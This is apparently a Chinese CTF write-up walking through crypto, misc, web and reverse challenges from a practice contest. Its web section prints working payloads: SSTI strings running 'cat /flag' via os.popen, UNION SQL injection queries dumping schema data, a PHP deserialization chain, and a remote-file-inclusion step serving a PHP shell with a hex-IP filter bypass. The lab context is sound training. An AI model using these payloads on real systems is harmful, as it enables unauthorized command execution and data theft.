见面考复现

Crypto

rssaa

用一个RSA脚本直接解密就可以了

python 复制代码
import gmpy2#函数库
from Crypto.Util.number import long_to_bytes 
n = 
e = 
c = 
p = 
q = 
fai = (p-1)*(q-1)
d = gmpy2.invert(e,fai) #invert函数求逆元
m = pow(c,d,n)
print(m)
print(long_to_bytes(m)) #数字转字符串

奇怪的数字

将文件后缀zip加上,解压后得到一串数字,是base多层加密,直接用随波逐流解密

得到flag ,根据题目描述,(有些解密不会识别大小写和符号,flag格式Yunxi{},单词间用_代替空格),flag为Yunxi{no_no_no_you_can't_get_it}

Misc

today'secret

得到两张图片和一段摩斯音频,先使用随波逐流解析一下音频

得到flag,将大写改为小写即可

最喜欢二维码了

这题考查二维码添加定位符,得到一个残缺的二维码,需要将其补全,再使用二维码扫描工具扫描

这里可以去下载随波逐流的二维码识别工具

得到二维码信息,这里的数据是经过base64,base32,base16,三重加密,需要先进性16,32,64解码,或者使用随波逐流直接解码

师兄的密码

这题考查binwalk文件提取,盲水印提取

先用随波逐流进行binwalk文件提取

提取后得到一张图片和一个压缩包

压缩包密码在图片中,这里需要提取盲水印,因为只有四位数,可以直接爆破

解压后就得到了flag

键盘成精,我被辅修了

下载后得到一个word文件,根据题目描述和提示,将其文本修改字体大小,或者将其放到记事本里

得到了前两段flag,最后一段是零宽度字符隐写,可以使用随波逐流的离线工具

得到第三段flag,flag为flag{Zero_width_steganography_1s_fUn}

RAM取证

无声的诗行

这题考查zip伪加密修复,文件头编码修改,使用随波逐流进行伪加密修复后,得到一个png图片

发现图片打不开,使用010打开后发现文件头编码被修改了,修改为正确的png文件头编码后,打开图片后发现盲文编码

找个盲文对照表后得到flag

傲娇的师姐

这题考察流量分析,盲水印提取

根据提示是以邮箱发送的,通过统计分析找到mail,直接查找

通过追踪TCP找到图片base64,使用随波逐流进行base64转图片得到

再进行盲水印提取,得到flag

Web

hello_rce

根据提示得到当前目录

直接读取flag就行了print_r(file('flag'));

或者直接用dirsearch扫一下得到flag目录,直接进入

新东西

这题考查简单的ssti

先输入{{7*7}}测试一下是否存在ssti注入,返回49说明存在ssti注入

接下来查看一下当前目录

python 复制代码
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

发现flag就在当下目录,直接查看flag就可以了

python 复制代码
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

也可以使用fenjing直接梭哈

让我看看

这题考察远程文件包含

先用mobax链接一下靶机,成功后查询一下IP地址,再上传一个shell文件:<?php phpinfo()?>

然后要向外共存这个文python -m http.server --bind 0.0.0.0 6666

然后再主机上访问该文件,这里由于点被过滤了需要进行绕过,先ifconfig查看一下ip

然后再转换为十六进制访问一下上传的文件, 0xAC0101A0

进入环境变量,查找一下flag

Shadow Archive System

这题考察sql注入二次注入,这题用dirsearch扫了之后就可以得到数据库表

先查询一下库名,1' union select 1,database(),3#

得到库名为ctf,再查询一下表名,1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'#

再查询一下列名,-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='flags'#

最后就是查询数据,

你已急哭

这题考察php反序列化,打开后就看到了源码

先分析一下源码

php 复制代码
​

<?php
// 关闭所有错误报告,防止敏感信息泄露
error_reporting(0);

// 显示当前PHP文件的源代码
highlight_file(__FILE__);

// 定义一个Entry类
class Entry {
    // 公共属性handler,可以存储任何对象
    public $handler;

    // 析构函数,对象销毁时自动调用
    public function __destruct() {
        // 检查handler属性是否被设置
        if (isset($this->handler)) {
            // 输出提示信息
            echo "你已急哭";
            // 调用handler对象的handle()方法
            $result = $this->handler->handle();
            // 输出handle()方法的返回值
            echo $result;
        }
    }
}

// 定义一个Processor类
class Processor {
    // 公共属性callback,可以存储任何可调用的对象
    public $callback;
    // 公共属性argument,传递给回调函数的参数
    public $argument;

    // handle()方法,处理回调
    public function handle() {
        // 检查callback是否是对象
        if (is_object($this->callback)) {
            // 输出提示信息
            echo "哟,不错嘛";
            // 将callback作为函数调用,传入argument参数
            $result = ($this->callback)($this->argument);
            // 返回调用结果
            return $result;
        }
        // 如果callback不是对象,输出错误信息
        echo "Processor::handle() callback不是对象!";
        return "Invalid handler!";
    }
}

// 定义一个FileReader类
class FileReader {
    // 公共属性filename,要读取的文件名
    public $filename;

    // __invoke()魔术方法,当对象被作为函数调用时触发
    public function __invoke($arg) {
        // 输出提示信息
        echo "加油啊,终点就在前方了!";

        // 检查filename是否是目标文件路径
        if ($this->filename === "/f1ag.php") {
            // 输出成功提示
            echo "666,这还说啥了,flag给你了。";
            // 获取环境变量FLAG的值
            $flag = getenv('FLAG');
            // 输出flag
            echo "Flag: " . $flag . "";
            return "";
        } else if (file_exists($this->filename)) {
            // 如果文件存在但不是目标文件
            echo "文件存在,但不是目标文件...";
            // 读取并返回文件内容
            return file_get_contents($this->filename);
        }
        // 文件不存在的情况
        echo "文件不存在!";
        return "File not found!";
    }
}

// 定义一个Logger类(本题中未使用,可能是干扰项)
class Logger {
    public $logfile;
    public $content;

    // __toString()魔术方法,当对象被作为字符串使用时调用
    public function __toString() {
        return "Logger output!";
    }

    // handle()方法
    public function handle() {
        return "Logger handler!";
    }
}

// 检查是否通过GET请求传递了data参数
if (isset($_GET['data'])) {
    // 获取data参数的值
    $data = $_GET['data'];

    // 检查payload长度是否超过1000字符
    if (strlen($data) > 1000) {
        // 如果过长则终止执行
        die("[-] Payload太长!");
    }

    // 对data参数进行反序列化操作
    // 这是本程序的入口点,通过反序列化触发对象链
    unserialize($data);
} else {
    // 如果没有传递data参数,显示使用说明
    echo "提交方式: ?data=你的payload";
}

// 提示目标文件路径
//Hint: 目标文件路径是 /f1ag.php

​

给了提示,要使fliname=/f1lg.php,通过GET传参传入我们的payload变量为data,可以利用脚本生成payload

php 复制代码
?data=O:5:%22Entry%22:1:{s:7:%22handler%22;O:9:%22Processor%22:2:{s:8:%22callback%22;O:10:%22FileReader%22:1:{s:8:%22filename%22;s:9:%22/f1ag.php%22;}s:8:%22argument%22;s:9:%22/f1ag.php%22;}}

Reverse

interested_code

用IDA打开,发现一个假的flag

观察主函数,F5查看其伪代码

分析得到,flag是为get_flag并将其中的T换为ASCLL值为116,即't';o换为'0';r换为'R';前面得到get_flag的值,将'Tor'换为't0R'即为flag;

Portable_Executable

根据提示pe,先用010打开看一下有没有问题

发现文件头被修改了,不是PE结构,将零行的前三个删除,使其开头为4D5A,再使用ida打开,打开后直接就发现flag

美人鱼的传说

根据他的提示py逆向和所提供的工具,先将文件后面加上.exe后缀,再使用提供的工具进行PyInstall解包

得到一个文件夹,发现一个flag pyc文件

再使用所给的工具进行反编译,得到flag

发现得到的这个flag是假的,需要将flag给程序运行才能得到真flag

future_flag

先用exeinfo查看,发现没有套壳

用IDA打开,用string查找一下flag

追溯一下得到

F5查看一下代码

发现是xor加密,需要进行解密,密钥为0x42,密文为byte_405020的数据

用xor脚本解密,运行后得到flag

相关推荐
Eric.Lee20213 小时前
查看ubuntu机器正在使用的网络端口
网络·ubuntu·php
Zero-Talent3 小时前
TCP/IP协议
运维·服务器·网络
Du_chong_huan3 小时前
1.7 计算机网络和因特网的历史 | 《计算机网络:自顶向下方法》精读版
运维·服务器·网络
Java成神之路-4 小时前
DNS 与 CDN 底层原理深度剖析:从域名解析到内容分发全链路解析
网络·网络协议·tcp/ip
AI浩4 小时前
UCAN:用于轻量级超分辨率中扩展感受野的统一卷积注意力网络
网络
echome8885 小时前
Python 异步编程实战:asyncio 核心概念与最佳实践
开发语言·网络·python
Predestination王瀞潞5 小时前
5.4.3 通信->WWW万维网内容访问标准(W3C):WWW(World Wide Web) 协议架构(分层)
前端·网络·网络协议·架构·www
喵喵爱自由5 小时前
Docker容器共享宿主机-安全网络
网络·安全·docker
星爷AG I5 小时前
15-6 威胁性信息(AGI基础理论)
网络·agi